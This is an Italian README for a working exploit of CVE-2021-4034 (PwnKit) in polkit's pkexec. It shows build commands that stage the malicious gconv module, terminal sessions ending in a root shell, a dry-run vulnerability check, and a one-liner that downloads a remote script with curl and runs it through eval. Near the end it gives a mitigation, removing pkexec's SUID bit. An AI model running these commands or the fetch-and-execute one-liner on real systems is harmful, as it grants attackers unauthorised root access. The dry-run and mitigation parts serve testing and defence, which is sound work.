
Exploit per CVE-2021-4034 (PwnKit) che fornisce una shell di root tramite polkit pkexec. Include una modalità dry-run per testare la vulnerabilità e uno script one-liner per uno sfruttamento rapido.
Un giorno per l'exploit di escalation dei privilegi di polkit
Basta eseguire make, ./cve-2021-4034 e godersi la shell di root.
L'advisory originale dei veri autori è qui
Se l'exploit funziona, otterrai immediatamente una shell di root:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
L'aggiornamento di polkit sulla maggior parte dei sistemi correggerà l'exploit, quindi otterrai l'utilizzo e il programma terminerà:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Per non eseguire una shell ma solo per testare se il sistema è vulnerabile, compila il target dry-run.
Se il programma termina stampando "root", significa che il tuo sistema è vulnerabile all'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se il tuo sistema non è vulnerabile, stampa un errore e termina.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (precedentemente PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi simili a Unix. Fornisce un modo organizzato per i processi non privilegiati di comunicare con i processi privilegiati. È anche possibile usare polkit per eseguire comandi con privilegi elevati usando il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).
Puoi facilmente sfruttare il sistema usando un singolo script, scaricabile ed eseguibile con questo comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se non sono disponibili patch per il tuo sistema operativo, puoi rimuovere il bit SUID da pkexec come mitigazione temporanea.
# chmod 0755 /usr/bin/pkexec
L'exploit fallirà quindi lamentando che pkexec deve avere il
bit setuid abilitato.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root